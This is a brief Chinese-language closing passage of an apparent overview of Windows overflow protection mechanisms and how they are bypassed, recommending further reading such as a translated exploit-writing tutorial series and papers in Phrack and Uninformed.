本文简单地叙述了windows平台上的各类溢出保护机制及其绕过方法,但若结合实例分析的话,没有几万字是不可能完成的,因此这里概览一番,读者若想获得相关的实例运用的资料,可参考文中提及一些paper,特别是由看雪论坛上dge兄弟翻译的《Exploit编写系列教程6》以及黑客杂志《Phrack》、《Uninformed》上的相关论文。微软与黑客之间的斗争是永无休止的,我们期待着下一项安全机制的出现……